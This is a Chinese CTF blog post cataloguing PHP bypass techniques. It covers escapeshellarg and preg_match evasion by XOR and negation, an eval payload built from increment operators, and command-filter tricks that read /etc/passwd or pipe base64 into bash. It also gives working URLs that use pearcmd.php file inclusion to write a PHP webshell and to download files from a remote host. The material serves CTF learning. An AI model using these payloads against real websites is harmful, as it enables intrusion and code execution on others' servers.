phpbypass
本篇 Blog 的内容更像是一页目录,主要记录在做题过程中所遇到的关于 phpbypass
类型的题目
以及对此类型题目所以需要的知识点进行总结,分类,可点击 相关题目
中的链接以查看题目的具体解答过程.
0x01 escapeshellarg()
函数作用
# 官方解释
/*
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
example:
*/
$s = 'hello_world';
var_dump(escapeshellarg($s));
// string(13) "'hello_world'"
$s = "hello'world";
var_dump(escapeshellarg($s));
// string(16) "'hello'\''world'"
利用
配合escapeshellcmd
参考链接
https://paper.seebug.org/164/#_2
非ASCII
绕过
根据官方介绍
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:
<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
简单理解,
escapeshellarg函数会忽略ascll大于127的字符.
# example:
<?php
$cmd = $_GET['cmd'];
echo $cmd;
echo "<br/>";
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
echo $cmd;
}
} else {
highlight_file(__FILE__);
}
?>
/*
this_is_final_fl�ag_e2a457126032b42d.php
'this_is_final_flag_e2a457126032b42d.php'
可以看到,使用escapeshellarg
后,fl�ag
变为了flag
.这里便绕过了正则匹配.
例题
参考链接
https://www.php.net/manual/zh/function.escapeshellarg.php
0x02 preg_match
一绕过下面代码为例:
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
取反绕过
正则绕过在ctf比赛中还是比较常见.绕过手法也比较多,最常见的是使用 取反在urlencode
绕过
<?php
echo urlencode(~"phpinfo");
?getflag=(~urlencode('phpinfo'))();
异或绕过
原理: 各种特殊字符的异或构造出字母和数字
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
# 过滤无效数据 得到以下结果
~ ^ ! is _
~ ^ @ is >
~ ^ # is ]
~ ^ $ is Z
~ ^ % is [
~ ^ ^ is
~ ^ & is X
~ ^ * is T
~ ^ ( is V
~ ^ ) is W
~ ^ _ is !
~ ^ + is U
~ ^ < is B
~ ^ > is @
~ ^ ? is A
~ ^ , is R
~ ^ . is P
~ ^ ; is E
~ ^ : is D
~ ^ - is S
~ ^ [ is %
~ ^ ] is #
~ ^ \ is "
~ ^ / is Q
! ^ ~ is _
! ^ @ is a
! ^ _ is ~
! ^ [ is z
! ^ ] is |
! ^ { is Z
! ^ } is \
! ^ \ is }
@ ^ ~ is >
@ ^ ! is a
@ ^ # is c
@ ^ $ is d
@ ^ % is e
@ ^ & is f
@ ^ * is j
@ ^ ( is h
@ ^ ) is i
@ ^ + is k
@ ^ < is |
@ ^ > is ~
@ ^ , is l
@ ^ . is n
@ ^ ; is {
@ ^ : is z
@ ^ - is m
@ ^ { is ;
@ ^ } is =
@ ^ / is o
# ^ ~ is ]
# ^ @ is c
# ^ ^ is }
# ^ _ is |
# ^ [ is x
# ^ ] is ~
# ^ { is X
# ^ } is ^
$ ^ ~ is Z
$ ^ @ is d
$ ^ ^ is z
$ ^ _ is {
$ ^ ] is y
$ ^ { is _
$ ^ } is Y
$ ^ \ is x
% ^ ~ is [
% ^ @ is e
% ^ ^ is {
% ^ _ is z
% ^ [ is ~
% ^ ] is x
% ^ { is ^
% ^ } is X
% ^ \ is y
^ ^ # is }
^ ^ $ is z
^ ^ % is {
^ ^ & is x
^ ^ * is t
^ ^ ( is v
^ ^ ) is w
^ ^ + is u
^ ^ < is b
^ ^ > is `
^ ^ ? is a
^ ^ , is r
^ ^ . is p
^ ^ ; is e
^ ^ : is d
^ ^ - is s
^ ^ { is %
^ ^ } is #
^ ^ / is q
& ^ ~ is X
& ^ @ is f
& ^ ^ is x
& ^ _ is y
& ^ [ is }
& ^ ] is {
& ^ { is ]
& ^ } is [
& ^ \ is z
* ^ ~ is T
* ^ @ is j
* ^ ^ is t
* ^ _ is u
* ^ [ is q
* ^ ] is w
* ^ { is Q
* ^ } is W
* ^ \ is v
( ^ ~ is V
( ^ @ is h
( ^ ^ is v
( ^ _ is w
( ^ [ is s
( ^ ] is u
( ^ { is S
( ^ } is U
( ^ \ is t
) ^ ~ is W
) ^ @ is i
) ^ ^ is w
) ^ _ is v
) ^ [ is r
) ^ ] is t
) ^ { is R
) ^ } is T
) ^ \ is u
_ ^ ~ is !
_ ^ ! is ~
_ ^ # is |
_ ^ $ is {
_ ^ % is z
_ ^ & is y
_ ^ * is u
_ ^ ( is w
_ ^ ) is v
_ ^ + is t
_ ^ < is c
_ ^ > is a
_ ^ ? is `
_ ^ , is s
_ ^ . is q
_ ^ ; is d
_ ^ : is e
_ ^ - is r
_ ^ { is $
_ ^ } is "
_ ^ / is p
+ ^ ~ is U
+ ^ @ is k
+ ^ ^ is u
+ ^ _ is t
+ ^ [ is p
+ ^ ] is v
+ ^ { is P
+ ^ } is V
+ ^ \ is w
< ^ ~ is B
< ^ @ is |
< ^ ^ is b
< ^ _ is c
< ^ [ is g
< ^ ] is a
< ^ { is G
< ^ } is A
< ^ \ is `
> ^ ~ is @
> ^ @ is ~
^ ^ is `
> ^ _ is a
> ^ [ is e
> ^ ] is c
> ^ { is E
> ^ } is C
> ^ \ is b
? ^ ~ is A
? ^ ^ is a
? ^ _ is `
? ^ [ is d
? ^ ] is b
? ^ { is D
? ^ } is B
? ^ \ is c
, ^ ~ is R
, ^ @ is l
, ^ ^ is r
, ^ _ is s
, ^ [ is w
, ^ ] is q
, ^ { is W
, ^ } is Q
, ^ \ is p
. ^ ~ is P
. ^ @ is n
. ^ ^ is p
. ^ _ is q
. ^ [ is u
. ^ ] is s
. ^ { is U
. ^ } is S
. ^ \ is r
; ^ ~ is E
; ^ @ is {
; ^ ^ is e
; ^ _ is d
; ^ [ is `
; ^ ] is f
; ^ { is @
; ^ } is F
; ^ \ is g
: ^ ~ is D
^ @ is z
: ^ ^ is d
: ^ _ is e
: ^ [ is a
: ^ ] is g
: ^ { is A
: ^ } is G
: ^ \ is f
- ^ ~ is S
- ^ @ is m
- ^ ^ is s
- ^ _ is r
- ^ [ is v
- ^ ] is p
- ^ { is V
- ^ } is P
- ^ \ is q
[ ^ ~ is %
[ ^ ! is z
# is x
[ ^ % is ~
[ ^ & is }
[ ^ * is q
[ ^ ( is s
[ ^ ) is r
[ ^ + is p
[ ^ < is g
[ ^ > is e
[ ^ ? is d
[ ^ , is w
[ ^ . is u
[ ^ ; is `
[ ^ : is a
[ ^ - is v
[ ^ } is &
[ ^ / is t
] ^ ~ is #
] ^ ! is |
] ^ # is ~
] ^ $ is y
] ^ % is x
] ^ & is {
] ^ * is w
] ^ ( is u
] ^ ) is t
] ^ + is v
] ^ < is a
] ^ > is c
] ^ ? is b
] ^ , is q
] ^ . is s
] ^ ; is f
] ^ : is g
] ^ - is p
] ^ { is &
] ^ / is r
{ ^ ! is Z
{ ^ @ is ;
{ ^ # is X
{ ^ $ is _
{ ^ % is ^
{ ^ ^ is %
{ ^ & is ]
{ ^ * is Q
{ ^ ( is S
{ ^ ) is R
{ ^ _ is $
{ ^ + is P
{ ^ < is G
{ ^ > is E
{ ^ ? is D
{ ^ , is W
{ ^ . is U
{ ^ ; is @
{ ^ : is A
{ ^ - is V
{ ^ ] is &
{ ^ \ is '
{ ^ / is T
} ^ ! is \
} ^ @ is =
} ^ # is ^
} ^ $ is Y
} ^ % is X
} ^ ^ is #
} ^ & is [
} ^ * is W
} ^ ( is U
} ^ ) is T
} ^ _ is "
} ^ + is V
} ^ < is A
} ^ > is C
} ^ ? is B
} ^ , is Q
} ^ . is S
} ^ ; is F
} ^ : is G
} ^ - is P
} ^ [ is &
} ^ \ is !
} ^ / is R
\ ^ ~ is "
\ ^ ! is }
\ ^ $ is x
\ ^ % is y
\ ^ & is z
\ ^ * is v
\ ^ ( is t
\ ^ ) is u
\ ^ + is w
\ ^ < is `
\ ^ > is b
\ ^ ? is c
\ ^ , is p
\ ^ . is r
\ ^ ; is g
\ ^ : is f
\ ^ - is q
\ ^ { is '
\ ^ } is !
\ ^ / is s
/ ^ ~ is Q
/ ^ @ is o
/ ^ ^ is q
/ ^ _ is p
/ ^ [ is t
/ ^ ] is r
/ ^ { is T
/ ^ } is R
/ ^ \ is s
# 有时候存在符号也过滤的情况,考虑使用不可见字符的异或构造
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=> %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
# 常用构造
phpinfo
'_@_)@;@'^'/(/@.]/'
_GET
ImB7e3siXiI/PD4vIg== // base解密一下,hexo 会对三个{ 有一个解析
_POST
"!+/(("^"~{`{|"
${_GET}{%ff}()
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
递增递减运算符绕过
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
这里简述一下绕过方式
从过滤字符中找到: _
{
}
[
]
1
2
3
0
C
+
-
等
构造payload:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B
// ctf_show = $_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});
配合 get
传参数
/?1=system&2=cat /flag
完成绕过,执行eval
payload 解析
遇到 _
没有被过滤,可以 思考将_
定义为变量名.在结合C
,可以组合为两种变量名.
其次,
echo C/C;
# 返回结果为 NAN
以后可以通过C/C
配合+
构建新字符.
$_=a
另外,这样赋值,php会给出警告并将a
当作'a'
赋值给_
最后便是一个利用$$
进行变量覆盖
$a = '_GET';
$$a{1} == $$a[1] == $$a['1'] == $_GET['1']
参考文章
https://www.cnblogs.com/v01cano/p/11736722.html
https://blog.csdn.net/mochu7777777/article/details/104631142
https://www.secpulse.com/archives/150314.html
0x03 原生类利用
例题
Post not found: 极客大挑战2020Greatphp参考链接
0x04 代码执行与系统命令函数
这里对 php代码执行函数
做一个总结,可以在phpinfo
中观察disablefunction
是否有漏网之鱼
# 代码执行
eval(); # 其实eval并不是 php 里面的一个函数,他只是一种语法结构
assert;
preg_replace /e 模式 # 5.5 版本之上已经剔除/e修饰符
反引号 `;
call_user_function();
create_function();
array_map();
# 系统命令执行
passthru; # 自带输出
system;
shell_exec(); # 需要输出命令执行执行结果,不支持空格
exec(); # 需要输出命令执行结果
popen; # 没有回显,但是能执行 os命令
proc_open;
... 持续完善中
0x05 变量覆盖
$$ 双刀ner变量覆盖
$a = '_GET';
$$a{1} == $$a[1] == $$a['1'] == $_GET['1']
extract 变量覆盖
0x06 intval()
当字符串转换为数字时,字符串开头的数字、加号或减号以外的任何内容都应返回 0。然而,字符串开头的(某些)空格会被忽略:
echo intval(" 3"); // 3
echo strlen(" 3"); // 6
echo intval("
3"); // 3
0x07 Session 包含Getshell
参考链接
https://www.anquanke.com/post/id/201177
0X008 Simple Syntax
https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple
0x009 php中类,方法名,函数名不区分大小写变量,常量区分大小写
0x010 文件包含
pearcmd.php
最近打了两场ctf的比赛,每场比赛里都考了这个考点.p神的文章记录的很详细了,我这里就只简单总结和复现下.
概念
简单描述:在php官方的任意版本php Docker镜像中都默认安装了pcel/pear
,安装路径在/usr/local/lib/php/
.pear
是一个包管理器,这就意味着使用pear
能够进行下载功能.其实跟踪pear
,不难发现它是个sh脚本,其本质是使用php加载了一个名叫pearcmd.php
的脚本.
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
通过文件包含加载pearcmd.php
,传递命令选项以及参数,从而实现文件下载或者文件写入功能.
不过传递命令选项以及参数需要一定的条件,比如php.ini中没设置open_basedir
以及需要开启register_argc_argv
选项,这个选项的作用类似于可以将argc
以及argv
作为命令行参数传递给文件.而pearcmd.php
中的$argv
就可以通过$_SERVER['argv']
进行传递.可以参考pearcmd.php
中接受$argv
的代码逻辑
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
利用
现存在以下内容的index.php
:
<?php
include $_GET['a'];
假设我们现在能够知道得到当前php的phpinfo
信息.查看一下open_basedir
以及register_argc_argv
的配置.(如果能够确保php的环境使用了php官方的docker镜像,那这一步可以省略)
接下来就是利用pearcmd.php
,这里以利用pearcmd.php
生成文件为例.
这里只截取了部分pearcmd.php
的命令,详细内容师傅们可以本地测试去了解.这里使用config-create
选项进行文件写入
php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell1.php
可以看到已经成功写入文件到/tmp
目录下.
如果机器还可以出网,还可以利用install -R
选项下载vps的文件.使用python3
在本地开启一个服务,监听8888
端口.
使用如下命令下载主机192.168.3.183
下的index.php
到本地的/tmp
目录下
php pearcmd.php install -R /tmp http://192.168.3.183:8888/index.php
可以看到成功下载文件到/tmp/tmp/pear/download/index.php
演示了pearcmd.php
的用法,接下来就是利用include
包含pearcmd.php
实现文件写入和下载了.
文件写入:
http://0.0.0.0:49153/?a=/usr/local/lib/php/pearcmd.php&+config-create+/&%3C?php%20phpinfo();+/tmp/shell2.php
可以看到成功写入文件到/tmp/shell2.php
文件下载:
http://0.0.0.0:49153/?a=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.3.183:8888/index.php
可以看到成功下载文件到/tmp/tmp/pear/download/index.php
参考
registerargcargv与include限制php任意文件下载的小结
feng师傅 利用pearcmd.php从LFI到getshell
0x011 shell命令的一些绕过
c\at /etc/passwd
c''at /etc/passwd
c""at /etc/passwd
c$1at /etc/passwd
c$@at /etc/passwd
${IFS} # 绕空格
echo "Y2F0IGZsYWc="|base64 -d|bash # cat 发
持续完善中…